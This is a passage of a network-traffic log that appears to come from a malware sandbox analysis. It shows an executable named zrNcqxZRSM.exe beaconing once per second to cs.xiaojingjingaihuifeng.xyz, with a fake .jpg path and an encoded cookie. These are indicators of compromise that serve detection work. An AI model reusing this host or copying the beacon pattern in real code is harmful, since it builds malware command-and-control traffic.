2025-01-10 14:14:18 UTC	761	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 14:14:18 GMT Content-Length: 0 Connection: close cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Cfql2vk%2Fzs%2BB%2BRPU2%2F1DvRwGDOE%2FDoI5dWdek4JX3koUFxitxPigbk%2FzsEl2pD7kaW9i%2BqKBG6daOhEe15zQciu7wV1tljqmDxg30ikjQ4eBXpgL7yFUgrzOg5Ra7btutoEJ0GvS9aFZhS7KdlfM"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ffd45cb2d6b4239-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2208&min_rtt=2198&rtt_var=831&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2379&recv_bytes=1056&delivery_rate=1328480&cwnd=232&unsent_bytes=0&cid=52a764f190b98b3e&ts=446&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
62	192.168.2.6	50047	188.114.96.3	443	1424	C:\Users\user\Desktop\zrNcqxZRSM.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 14:14:19 UTC	442	OUT	GET /sadfasdgdfhsddfguri.jpg HTTP/1.1 Accept: / Host: cs.xiaojingjingaihuifeng.xyz Cookie: SSY+xcuXIrsjT0wDT6P8R/QNJZn4WXcn+ub82s1v8XqqcdJgYIdXnbHArqtbc7uRa70NwGARlnrezNIAZiPMTkUwgnErWO0I41Zve0pPbqs2Vz24+lczsCzJlS7+mLOMYJId1F6+RTy2olFssUtEt9CudMsi7ovy0BO/QVRn50s= User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; ) AppleWebKit/534.12 (KHTML, like Gecko) Maxthon/3.0 Safari/534.12 Connection: Keep-Alive Cache-Control: no-cache
2025-01-10 14:14:19 UTC	769	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 14:14:19 GMT Content-Length: 0 Connection: close cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Jf1cZZ4%2BvIyEfV8o%2F8xseObmrP%2F8mAi%2Ba2zq24NUobKcATv5CWuGv7ZmD%2FB%2FIHGgq1ObtUCl%2BB1W14JIDvJCD8cZgyScP6TNmbSAVycDP%2F7BKFaXhzAL%2F7T%2BevL57J%2BwDDj8LdhKicAOliMykDld"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ffd45d179cd43f8-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1621&min_rtt=1621&rtt_var=608&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2380&recv_bytes=1056&delivery_rate=1801357&cwnd=217&unsent_bytes=0&cid=ecd899dd176c9439&ts=398&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
63	192.168.2.6	50048	188.114.96.3	443	1424	C:\Users\user\Desktop\zrNcqxZRSM.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 14:14:20 UTC	442	OUT	GET /sadfasdgdfhsddfguri.jpg HTTP/1.1 Accept: / Host: cs.xiaojingjingaihuifeng.xyz Cookie: SSY+xcuXIrsjT0wDT6P8R/QNJZn4WXcn+ub82s1v8XqqcdJgYIdXnbHArqtbc7uRa70NwGARlnrezNIAZiPMTkUwgnErWO0I41Zve0pPbqs2Vz24+lczsCzJlS7+mLOMYJId1F6+RTy2olFssUtEt9CudMsi7ovy0BO/QVRn50s= User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; ) AppleWebKit/534.12 (KHTML, like Gecko) Maxthon/3.0 Safari/534.12 Connection: Keep-Alive Cache-Control: no-cache
2025-01-10 14:14:20 UTC	765	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 14:14:20 GMT Content-Length: 0 Connection: close cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=RzJ6JH1xrS0%2BEnmMwc5SOy%2Fy0R0%2BAr775hNHCzyVW2noM%2F5Iund2aX%2FoQQ2G%2Fei3Bd%2BwgQXMcLHpdLTkXPTN2IMemvtM0U3XX1cjvPd%2FLPruL%2FowrWsdI4SENrbmQNE0yh0ocrwqWestQB3oVQ5R"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ffd45d79ea0184d-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1641&min_rtt=1626&rtt_var=639&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2380&recv_bytes=1056&delivery_rate=1672394&cwnd=239&unsent_bytes=0&cid=a310493529af6854&ts=397&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
64	192.168.2.6	50049	188.114.96.3	443	1424	C:\Users\user\Desktop\zrNcqxZRSM.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 14:14:21 UTC	442	OUT	GET /sadfasdgdfhsddfguri.jpg HTTP/1.1 Accept: / Host: cs.xiaojingjingaihuifeng.xyz Cookie: SSY+xcuXIrsjT0wDT6P8R/QNJZn4WXcn+ub82s1v8XqqcdJgYIdXnbHArqtbc7uRa70NwGARlnrezNIAZiPMTkUwgnErWO0I41Zve0pPbqs2Vz24+lczsCzJlS7+mLOMYJId1F6+RTy2olFssUtEt9CudMsi7ovy0BO/QVRn50s= User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; ) AppleWebKit/534.12 (KHTML, like Gecko) Maxthon/3.0 Safari/534.12 Connection: Keep-Alive Cache-Control: no-cache
2025-01-10 14:14:21 UTC	749	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 14:14:21 GMT Content-Length: 0 Connection: close cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=W2WURYKLJSRrh9YHf2CSaLzi0Wv6ROlvnoPMoMXLLh5LaUODhG1juO5%2Bs8TDP7g3Ym1npSLuX3QrK1DmC42kMuinK5sBTS3Y7dqkLuDP72N3z5CtLjP2U2O4pNSaWgEyEFH6ONGM3o60PNVSCcVd"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ffd45de4d0bc32b-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1508&min_rtt=1491&rtt_var=593&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2378&recv_bytes=1056&delivery_rate=1793611&cwnd=224&unsent_bytes=0&cid=71624fdd7eb59be1&ts=404&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
65	192.168.2.6	50051	188.114.96.3	443	1424	C:\Users\user\Desktop\zrNcqxZRSM.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 14:14:22 UTC	442	OUT	GET /sadfasdgdfhsddfguri.jpg HTTP/1.1 Accept: / Host: cs.xiaojingjingaihuifeng.xyz Cookie: SSY+xcuXIrsjT0wDT6P8R/QNJZn4WXcn+ub82s1v8XqqcdJgYIdXnbHArqtbc7uRa70NwGARlnrezNIAZiPMTkUwgnErWO0I41Zve0pPbqs2Vz24+lczsCzJlS7+mLOMYJId1F6+RTy2olFssUtEt9CudMsi7ovy0BO/QVRn50s= User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; ) AppleWebKit/534.12 (KHTML, like Gecko) Maxthon/3.0 Safari/534.12 Connection: Keep-Alive Cache-Control: no-cache
2025-01-10 14:14:22 UTC	755	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 14:14:22 GMT Content-Length: 0 Connection: close cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=JleoavKKpnFB5bDXEtgVSd8DQCbGAvFZJRjq0fBMXxExjPBJZxZ7FiOA6mVvfBVpilZhW2P73JZvP04%2BTwT5p%2B3clf7AzqVjXTSWCY4m%2BpTQTNJGkqTVJ8%2FB8aYpokgAkl42uCN6tMUGRpKOYqNJ"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ffd45e4fac6183d-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1616&min_rtt=1606&rtt_var=624&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2378&recv_bytes=1056&delivery_rate=1724748&cwnd=252&unsent_bytes=0&cid=e2b7afc91e167d5d&ts=425&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
66	192.168.2.6	50052	188.114.96.3	443	1424	C:\Users\user\Desktop\zrNcqxZRSM.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 14:14:23 UTC	442	OUT	GET /sadfasdgdfhsddfguri.jpg HTTP/1.1 Accept: / Host: cs.xiaojingjingaihuifeng.xyz Cookie: SSY+xcuXIrsjT0wDT6P8R/QNJZn4WXcn+ub82s1v8XqqcdJgYIdXnbHArqtbc7uRa70NwGARlnrezNIAZiPMTkUwgnErWO0I41Zve0pPbqs2Vz24+lczsCzJlS7+mLOMYJId1F6+RTy2olFssUtEt9CudMsi7ovy0BO/QVRn50s= User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; ) AppleWebKit/534.12 (KHTML, like Gecko) Maxthon/3.0 Safari/534.12 Connection: Keep-Alive Cache-Control: no-cache
2025-01-10 14:14:23 UTC	751	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 14:14:23 GMT Content-Length: 0 Connection: close cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=GBFr6kTc0u1AlbeNTpXykC2bhvSd9lJ9li8bIuE3pb%2BI2pOP1JW5McShceaCniK6o6KtYRG5JR9BQhorTTKoEmKtfhueF61aus2bR8Y6e%2BJ2SfHgOR3tOCJFL2gyXihUc84MthYAQDNU0Hj49NwC"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ffd45eb592641e7-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1691&min_rtt=1684&rtt_var=647&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2379&recv_bytes=1056&delivery_rate=1672394&cwnd=202&unsent_bytes=0&cid=15f48f5d95d34ab5&ts=443&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
67	192.168.2.6	50053	188.114.96.3	443	1424	C:\Users\user\Desktop\zrNcqxZRSM.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 14:14:24 UTC	442	OUT	GET /sadfasdgdfhsddfguri.jpg HTTP/1.1 Accept: / Host: cs.xiaojingjingaihuifeng.xyz Cookie: SSY+xcuXIrsjT0wDT6P8R/QNJZn4WXcn+ub82s1v8XqqcdJgYIdXnbHArqtbc7uRa70NwGARlnrezNIAZiPMTkUwgnErWO0I41Zve0pPbqs2Vz24+lczsCzJlS7+mLOMYJId1F6+RTy2olFssUtEt9CudMsi7ovy0BO/QVRn50s= User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; ) AppleWebKit/534.12 (KHTML, like Gecko) Maxthon/3.0 Safari/534.12 Connection: Keep-Alive Cache-Control: no-cache
2025-01-10 14:14:24 UTC	747	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 14:14:24 GMT Content-Length: 0 Connection: close cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=4T04uWpIvOLG2u15GfwcKyhb70SjsAwH2MOzqGp40HQ8U60E2yEBsnMz37WDYSMM8am4LFMGyl5s9dmv81Scyr2nmO77KnU7t5E321hE3iV7QNqlnXpjX62ztlBHI5W2DK3zlQhzaUV6Y4Pz3RLy"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ffd45f199dfef9d-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1987&min_rtt=1982&rtt_var=755&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2379&recv_bytes=1056&delivery_rate=1439132&cwnd=146&unsent_bytes=0&cid=cdafeaee8c300960&ts=391&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
68	192.168.2.6	50054	188.114.96.3	443	1424	C:\Users\user\Desktop\zrNcqxZRSM.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 14:14:25 UTC	442	OUT	GET /sadfasdgdfhsddfguri.jpg HTTP/1.1 Accept: / Host: cs.xiaojingjingaihuifeng.xyz Cookie: SSY+xcuXIrsjT0wDT6P8R/QNJZn4WXcn+ub82s1v8XqqcdJgYIdXnbHArqtbc7uRa70NwGARlnrezNIAZiPMTkUwgnErWO0I41Zve0pPbqs2Vz24+lczsCzJlS7+mLOMYJId1F6+RTy2olFssUtEt9CudMsi7ovy0BO/QVRn50s= User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; ) AppleWebKit/534.12 (KHTML, like Gecko) Maxthon/3.0 Safari/534.12 Connection: Keep-Alive Cache-Control: no-cache
2025-01-10 14:14:25 UTC	759	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 14:14:25 GMT Content-Length: 0 Connection: close cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=tCmbaXbxYU8y0qm1zf%2BZqca%2Fn%2BVkpUWlPC%2FNAJCh91he98dyTPTGhY%2FvPwO9tRQElYjIxqRpm6xGh0JvRNceq8ydNBYK1wIbrYXWpnadUXRvk0liSDk%2FLGaL57QHPqgnED6PlsVEAUJFKjt1wWcq"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ffd45f7ae6c4391-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1696&min_rtt=1683&rtt_var=658&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2379&recv_bytes=1056&delivery_rate=1628555&cwnd=237&unsent_bytes=0&cid=95a119a8f90e53b4&ts=398&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
69	192.168.2.6	50055	188.114.96.3	443	1424	C:\Users\user\Desktop\zrNcqxZRSM.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 14:14:26 UTC	442	OUT	GET /sadfasdgdfhsddfguri.jpg HTTP/1.1 Accept: / Host: cs.xiaojingjingaihuifeng.xyz Cookie: SSY+xcuXIrsjT0wDT6P8R/QNJZn4WXcn+ub82s1v8XqqcdJgYIdXnbHArqtbc7uRa70NwGARlnrezNIAZiPMTkUwgnErWO0I41Zve0pPbqs2Vz24+lczsCzJlS7+mLOMYJId1F6+RTy2olFssUtEt9CudMsi7ovy0BO/QVRn50s= User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; ) AppleWebKit/534.12 (KHTML, like Gecko) Maxthon/3.0 Safari/534.12 Connection: Keep-Alive Cache-Control: no-cache
2025-01-10 14:14:26 UTC	761	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 14:14:26 GMT Content-Length: 0 Connection: close cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=CP0R%2FFXC%2F1%2Fg%2FMwrEyslnkkOPm1mn0qpUF9DvlIFb9%2FmVpC3ueXX1ewALfWTJbswZzWD6%2FTUnL6jGlghAoPgTqDzHoTzuph0xH22DttLq7sG0Zs%2FmQoMMPSUKrKxKpiD06EloS5pFa9uDLyqV47k"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ffd45fd8e9d9e16-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2001&min_rtt=1995&rtt_var=761&sent=4&recv=5&lost=0&retrans=0&sent_bytes=2378&recv_bytes=1056&delivery_rate=1426477&cwnd=190&unsent_bytes=0&cid=030063bac5282f40&ts=399&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
70	192.168.2.6	50056	188.114.96.3	443	1424	C:\Users\user\Desktop\zrNcqxZRSM.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 14:14:27 UTC	442	OUT	GET /sadfasdgdfhsddfguri.jpg HTTP/1.1 Accept: / Host: cs.xiaojingjingaihuifeng.xyz Cookie: SSY+xcuXIrsjT0wDT6P8R/QNJZn4WXcn+ub82s1v8XqqcdJgYIdXnbHArqtbc7uRa70NwGARlnrezNIAZiPMTkUwgnErWO0I41Zve0pPbqs2Vz24+lczsCzJlS7+mLOMYJId1F6+RTy2olFssUtEt9CudMsi7ovy0BO/QVRn50s= User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; ) AppleWebKit/534.12 (KHTML, like Gecko) Maxthon/3.0 Safari/534.12 Connection: Keep-Alive Cache-Control: no-cache
2025-01-10 14:14:27 UTC	755	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 14:14:27 GMT Content-Length: 0 Connection: close cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=XQVMJIOt5YT4U5y10%2BOXXTDcZyf7b6OKlCSn5k5PSJz8VrVOiodd1bpAakAauJbpTr%2BvXCO%2FkoVuOKobuhGjsKtGAxZesBmfUk4EpBktbMixJTq7gZE%2FOhtTT97QKZcGeuCbMdwr9fQaYsalS7wK"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ffd4603a90d0f69-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1631&min_rtt=1618&rtt_var=633&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2379&recv_bytes=1056&delivery_rate=1692753&cwnd=250&unsent_bytes=0&cid=f14e6c2c868cf686&ts=427&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
71	192.168.2.6	50057	188.114.96.3	443	1424	C:\Users\user\Desktop\zrNcqxZRSM.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 14:14:28 UTC	442	OUT	GET /sadfasdgdfhsddfguri.jpg HTTP/1.1 Accept: / Host: cs.xiaojingjingaihuifeng.xyz Cookie: SSY+xcuXIrsjT0wDT6P8R/QNJZn4WXcn+ub82s1v8XqqcdJgYIdXnbHArqtbc7uRa70NwGARlnrezNIAZiPMTkUwgnErWO0I41Zve0pPbqs2Vz24+lczsCzJlS7+mLOMYJId1F6+RTy2olFssUtEt9CudMsi7ovy0BO/QVRn50s= User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; ) AppleWebKit/534.12 (KHTML, like Gecko) Maxthon/3.0 Safari/534.12 Connection: Keep-Alive Cache-Control: no-cache
2025-01-10 14:14:28 UTC	757	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 14:14:28 GMT Content-Length: 0 Connection: close cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=L5%2BgamtK%2BDZxVdosdqco80RIzVFnzA54cIZchhitVyGQVVGhaZPL6XDXPXHIMReW5ktpXe7HpJ%2Beqpw%2B%2Br8fDNcEFREReITuMwxwABI1z2RyhhGgsCdrsNm6fXVCL8d5gR3QKCHZs146KOtJk6mn"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ffd4609c9cd42dc-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1738&min_rtt=1670&rtt_var=763&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2379&recv_bytes=1056&delivery_rate=1315315&cwnd=251&unsent_bytes=0&cid=093df424d1b74f4b&ts=414&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
72	192.168.2.6	50058	188.114.96.3	443	1424	C:\Users\user\Desktop\zrNcqxZRSM.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 14:14:29 UTC	442	OUT	GET /sadfasdgdfhsddfguri.jpg HTTP/1.1 Accept: / Host: cs.xiaojingjingaihuifeng.xyz Cookie: SSY+xcuXIrsjT0wDT6P8R/QNJZn4WXcn+ub82s1v8XqqcdJgYIdXnbHArqtbc7uRa70NwGARlnrezNIAZiPMTkUwgnErWO0I41Zve0pPbqs2Vz24+lczsCzJlS7+mLOMYJId1F6+RTy2olFssUtEt9CudMsi7ovy0BO/QVRn50s= User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; ) AppleWebKit/534.12 (KHTML, like Gecko) Maxthon/3.0 Safari/534.12 Connection: Keep-Alive Cache-Control: no-cache
2025-01-10 14:14:29 UTC	761	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 14:14:29 GMT Content-Length: 0 Connection: close cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=FleBXHMPm3fU4kDTfBiO4kD9EiiWhIUEv1af3g5Bp%2BwQSi%2B%2FSj%2FxaQsDF6QPcazurVyV8uXvQthFTbnvpQUInw691J0kW9nBqC7rqYYJ5RPN9pkpkaDMP71A%2BbCUlqn%2B6OAu%2FvcAjRFfNHgJMOEK"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ffd460fd8732395-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1953&min_rtt=1948&rtt_var=742&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2379&recv_bytes=1056&delivery_rate=1464393&cwnd=139&unsent_bytes=0&cid=56bfb3cb7dc48a1d&ts=391&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
73	192.168.2.6	50059	188.114.96.3	443	1424	C:\Users\user\Desktop\zrNcqxZRSM.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 14:14:30 UTC	442	OUT	GET /sadfasdgdfhsddfguri.jpg HTTP/1.1 Accept: / Host: cs.xiaojingjingaihuifeng.xyz Cookie: SSY+xcuXIrsjT0wDT6P8R/QNJZn4WXcn+ub82s1v8XqqcdJgYIdXnbHArqtbc7uRa70NwGARlnrezNIAZiPMTkUwgnErWO0I41Zve0pPbqs2Vz24+lczsCzJlS7+mLOMYJId1F6+RTy2olFssUtEt9CudMsi7ovy0BO/QVRn50s= User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; ) AppleWebKit/534.12 (KHTML, like Gecko) Maxthon/3.0 Safari/534.12 Connection: Keep-Alive Cache-Control: no-cache
2025-01-10 14:14:30 UTC	759	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 14:14:30 GMT Content-Length: 0 Connection: close cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=wghIx5FaT2jJId1P8T1UdW6uT0mf4Qp3qCgw%2FU%2F8%2BULeTVEUv7zQXLS%2FtKpT8LjmeiNhOCqVfiJrOlmfGZm4%2BitxheY7eR2z7yMngw6FE3BQ9pj7ZyZ%2BwT8wdBVf9EfxtoioY5UR2FxtkX8bWVmZ"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ffd46161c79424c-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1833&min_rtt=1797&rtt_var=700&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2380&recv_bytes=1056&delivery_rate=1624930&cwnd=227&unsent_bytes=0&cid=079e4a1519c83546&ts=421&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
74	192.168.2.6	50060	188.114.96.3	443	1424	C:\Users\user\Desktop\zrNcqxZRSM.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 14:14:31 UTC	442	OUT	GET /sadfasdgdfhsddfguri.jpg HTTP/1.1 Accept: / Host: cs.xiaojingjingaihuifeng.xyz Cookie: SSY+xcuXIrsjT0wDT6P8R/QNJZn4WXcn+ub82s1v8XqqcdJgYIdXnbHArqtbc7uRa70NwGARlnrezNIAZiPMTkUwgnErWO0I41Zve0pPbqs2Vz24+lczsCzJlS7+mLOMYJId1F6+RTy2olFssUtEt9CudMsi7ovy0BO/QVRn50s= User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; ) AppleWebKit/534.12 (KHTML, like Gecko) Maxthon/3.0 Safari/534.12 Connection: Keep-Alive Cache-Control: no-cache
2025-01-10 14:14:31 UTC	761	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 14:14:31 GMT Content-Length: 0 Connection: close cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=q7PcvWKaIijffCRDGjVQO8R0Ex%2BiwamksmUESyMBCaIXopJXV9jRo13%2FZE%2Bap%2BBtVHS6%2B6zZXl2ippui5ZOvjljNBNs2Ov0xXZ1p35It0sem9CA%2B4K8iPsIsJpf%2FLRtyc8Y65AqROtGuy8UM6x0L"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ffd461c4a9e7285-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2383&min_rtt=1983&rtt_var=1545&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2379&recv_bytes=1056&delivery_rate=562837&cwnd=249&unsent_bytes=0&cid=fb802297c0fd0277&ts=432&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
75	192.168.2.6	50061	188.114.96.3	443	1424	C:\Users\user\Desktop\zrNcqxZRSM.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 14:14:32 UTC	442	OUT	GET /sadfasdgdfhsddfguri.jpg HTTP/1.1 Accept: / Host: cs.xiaojingjingaihuifeng.xyz Cookie: SSY+xcuXIrsjT0wDT6P8R/QNJZn4WXcn+ub82s1v8XqqcdJgYIdXnbHArqtbc7uRa70NwGARlnrezNIAZiPMTkUwgnErWO0I41Zve0pPbqs2Vz24+lczsCzJlS7+mLOMYJId1F6+RTy2olFssUtEt9CudMsi7ovy0BO/QVRn50s= User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; ) AppleWebKit/534.12 (KHTML, like Gecko) Maxthon/3.0 Safari/534.12 Connection: Keep-Alive Cache-Control: no-cache
2025-01-10 14:14:32 UTC	758	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 14:14:32 GMT Content-Length: 0 Connection: close cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=9S3N75OP0zM2hJI1pdP4MQEUPPsUAy1%2FljieDhz%2FrtyDPv7NXriQ3GdZnaK%2BBtgXVOXpxPs9wVIBjSXhOHiM6DApXydi5qIyGTg2%2BFhF6W%2FTjpCWVEaJHLsnWk3oJTaHSRTHvzGKCg%2F1jb2sGMxW"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ffd4622ca3c433a-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1573&min_rtt=1569&rtt_var=597&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2379&recv_bytes=1056&delivery_rate=1818181&cwnd=32&unsent_bytes=0&cid=b24963ed3eef6783&ts=450&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
76	192.168.2.6	50062	188.114.96.3	443	1424	C:\Users\user\Desktop\zrNcqxZRSM.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 14:14:33 UTC	442	OUT	GET /sadfasdgdfhsddfguri.jpg HTTP/1.1 Accept: / Host: cs.xiaojingjingaihuifeng.xyz Cookie: SSY+xcuXIrsjT0wDT6P8R/QNJZn4WXcn+ub82s1v8XqqcdJgYIdXnbHArqtbc7uRa70NwGARlnrezNIAZiPMTkUwgnErWO0I41Zve0pPbqs2Vz24+lczsCzJlS7+mLOMYJId1F6+RTy2olFssUtEt9CudMsi7ovy0BO/QVRn50s= User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; ) AppleWebKit/534.12 (KHTML, like Gecko) Maxthon/3.0 Safari/534.12 Connection: Keep-Alive Cache-Control: no-cache
